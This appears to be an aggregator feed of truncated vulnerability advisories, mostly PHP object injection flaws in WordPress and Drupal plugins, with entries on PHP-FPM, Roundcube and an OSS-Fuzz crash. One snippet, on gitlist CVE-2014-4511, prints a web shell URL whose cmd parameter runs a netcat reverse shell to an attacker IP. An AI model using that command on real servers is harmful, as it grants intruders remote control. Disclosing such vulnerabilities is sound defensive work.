CVE-2026-114422

The Enable Media Replace WordPress plugin (versions before 4.2.3 , specifically 4.1.4-4.2.2 ) is vulnerable to unauthenticated PHP Object Injection . The root cause is a failure to restrict allowed classes during the deserialization of stored metadata within the media replace-and-update-links rou...

CVE-2026-114422 Enable Media Replace 4.1.4 - 4.2.2 - Unauthenticated PHP Object Injection via Metadata Replacer

The Enable Media Replace WordPress plugin before 4.2.3 does not restrict the classes allowed when deserializing stored metadata during its media replace-and-update-links routine, allowing unauthenticated users to inject a PHP object that is instantiated when a user with upload access performs a...

gitlist-RCE

gitlist-RCE CVE-2014-4511 example: after shell upload successfully: access: http://192.168.1.126/cache/x.php/?cmd=nc -nv 192.168.1.127 1111 -e /bin/sh http://192.168.1.126/cache/x.php/?cmd=nc%20-nv%20192.168.1.127%201111%20-e%20/bin/sh...

CVE-2026-5461 Forminator Forms <= 1.55.0.2 - Unauthenticated Limited File Deletion via Draft Upload Metadata

The Forminator Forms plugin for WordPress is vulnerable to Limited File Deletion in all versions up to, and including, 1.55.0.2. This is due to the plugin accepting arbitrary upload field metadata from POST requests in draft submissions without proper validation, which is then used to delete file...

CVE-2026-5461

The Forminator Forms plugin for WordPress (versions up to and including 1.55.0.2 ) is vulnerable to Limited File Deletion . The root cause is the lack of proper validation for upload field metadata received via POST requests during draft submissions. An unauthenticated attacker can submit a poiso...

php:php-fuzz-exif: Heap-buffer-overflow in exif_scan_thumbnail

Detailed Report: https://oss-fuzz.com/testcase?key=6586945434877952 Project: php Fuzzing Engine: afl Fuzz Target: php-fuzz-exif Job Type: aflasanphp Platform Id: linux Crash Type: Heap-buffer-overflow READ 1 Crash Address: 0x7a9f87de2e15 Crash State: exifscanthumbnail zifexifreaddata...

CVE-2026-107249

The Block AJAX module (versions 0.0.0 to 3.0.2 ) is vulnerable to PHP Object Injection due to insufficient validation of user-supplied data used during block construction. In the worst-case scenario, this can lead to Remote Code Execution . The vulnerability specifically affects sites that have L...

CVE-2026-107249 Block AJAX - Highly critical - PHP object injection - SA-CONTRIB-2026-192

Improperly Controlled Modification of Dynamically-Determined Object Attributes vulnerability in Drupal Block AJAX allows Object Injection. This issue affects Block AJAX versions: from 0.0.0 to 3.0.2...

CVE-2026-107249 Block AJAX - Highly critical - PHP object injection - SA-CONTRIB-2026-192

Improperly Controlled Modification of Dynamically-Determined Object Attributes vulnerability in Drupal Block AJAX allows Object Injection. This issue affects Block AJAX versions: from 0.0.0 to 3.0.2...

CVE-2026-114573

Monster Menus (versions 0.0.0 to 9.5.6 ) is vulnerable to PHP object injection due to an input validation error. The issue occurs because the RSS Page submodule uses PHP's unserialize function when processing inputs from the node creation form. Exploitation requires the RSS Page submodule to be e...

CVE-2026-114573 Monster Menus - Critical - PHP object injection - SA-CONTRIB-2026-253

Improperly Controlled Modification of Dynamically-Determined Object Attributes vulnerability in Drupal Monster Menus allows Object Injection. This issue affects Monster Menus versions: from 0.0.0 to 9.5.6...

CVE-2026-114573 Monster Menus - Critical - PHP object injection - SA-CONTRIB-2026-253

Improperly Controlled Modification of Dynamically-Determined Object Attributes vulnerability in Drupal Monster Menus allows Object Injection. This issue affects Monster Menus versions: from 0.0.0 to 9.5.6...

PHP-FPM Path Info Buffer Underflow - Remote Code Execution

In PHP-FPM before 7.1.33, 7.2.x before 7.2.24, and 7.3.x before 7.3.11, when deployed in certain Nginx configurations with the fastcgisplitpathinfo directive, a crafted request with an empty PATHINFO can trigger a buffer underflow in the php-fpm code. This may allow an unauthenticated remote...

Roundcube Webmail - Remote Code Execution

Roundcube Webmail before 1.5.10 and 1.6.x before 1.6.11 allows remote code execution by authenticated users because the from parameter in a URL is not validated in program/actions/settings/upload.php, leading to PHP Object Deserialization. id: CVE-2025-49113 info: name: Roundcube Webmail - Remote...

vulnpocalypse-2026-10-response

Vulnpocalypse, October 2026: diagnosis and remediation prompt...

PHP <= 8.2.35 / 8.3.x <= 8.3.36 / 8.4.x <= 8.4.27 / 8.5.x <= 8.5.12 Windows Build Brotli Buffer Overflow

The version of PHP installed on the remote Windows host is at or prior to 8.2.35, 8.3.x at or prior to 8.3.36, 8.4.x at or prior to 8.4.27, or 8.5.x at or prior to 8.5.12. It is, therefore, potentially affected by a buffer overflow vulnerability in the Brotli library bundled with the PHP Windows...

PT-2026-133778

Name of the Vulnerable Software and Affected Versions FunnelKit Automations versions prior to 3.8.6.2 Description An unauthenticated attacker can send crafted serialized data to the application, leading to PHP Object Injection. This issue may allow for remote code execution or data tampering...

PT-2026-134475

Name of the Vulnerable Software and Affected Versions Project Manager – AI Powered Project Management, Task Management, Kanban Board & Time Tracker versions prior to 4.1.2 Description Unauthenticated attackers can achieve remote code execution on the server. The issue occurs because the id...

VulnCheck KEV: CVE-2026-103039

The Gravity Forms plugin for WordPress is vulnerable to PHP Object Injection in all versions up to, and including, 3.1.2 via a Post Custom Field whose input type is List. This is due to GFFormsModel::createpost passing the submitted value to WordPress' unrestricted global maybeunserialize rather...

CVE-2026-45145: chamilo chamilo-lms: Chamilo LMS is an open-source learning management system

Chamilo LMS is an open-source learning management system. Prior to 2.0.1, public/main/inc/lib/career.lib.php and public/main/cron/importcsv.php call PHP's native unserialize on usercareer.extradata retrieved from the database without the allowedclasses: false safety option. An attacker able to...